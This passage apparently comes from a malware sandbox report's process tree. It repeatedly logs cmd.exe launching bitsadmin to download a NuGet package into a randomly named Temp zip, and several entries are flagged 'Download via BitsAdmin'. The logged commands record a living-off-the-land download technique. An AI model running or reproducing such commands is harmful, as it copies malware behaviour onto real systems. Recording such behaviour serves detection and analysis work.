        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        
        PID:1592
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1628
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        
        PID:588
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1740
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        
        PID:1536
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1288
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1480
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1348
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1600
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1688
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        
        PID:1136
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:952
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1296
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:840
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        
        PID:1696
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:284
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:968
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1372
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1500
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:936
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:564
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:664
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1052
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1196
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1788
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1868
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:948
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1776
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1864
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1984
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        
        PID:680
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1680
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1520
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1736
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:676
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1952
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        
        PID:1788
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1528
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1720
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:528
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:556
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1156
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        
        PID:1584
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1808
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        
        PID:952
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1624
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        
        PID:1300
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1664
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        
        PID:1712
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:896
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:2016
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:2032
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        
        PID:1720
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:536
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:924
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1048
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:2012
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:952
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        
        PID:968
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1488
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1784
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1748
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1356
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1672
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1268
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1764
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        
        PID:1864
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1196
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        
        PID:1592
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:808
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1260
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:896
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1932
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:284
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        
        PID:748
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:948
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1636
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1500
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1268
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1628
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1780
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1300
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1984
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1260
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:680
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1808
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        
        PID:1324
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:524
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        
        PID:1536
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1236
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1092
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1512
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1780
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:536
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        
        PID:1520
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1088
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1560
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:948
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:976
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:528
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1704
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1648
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:2016
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1284
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        Download via BitsAdmin
        
        PID:1092
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
      4⤵
      PID:1864
    - - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\KvUbCl.zip"
        5⤵
        
        PID:1616
  - - C:\Windows\SysWOW64\cmd.exe
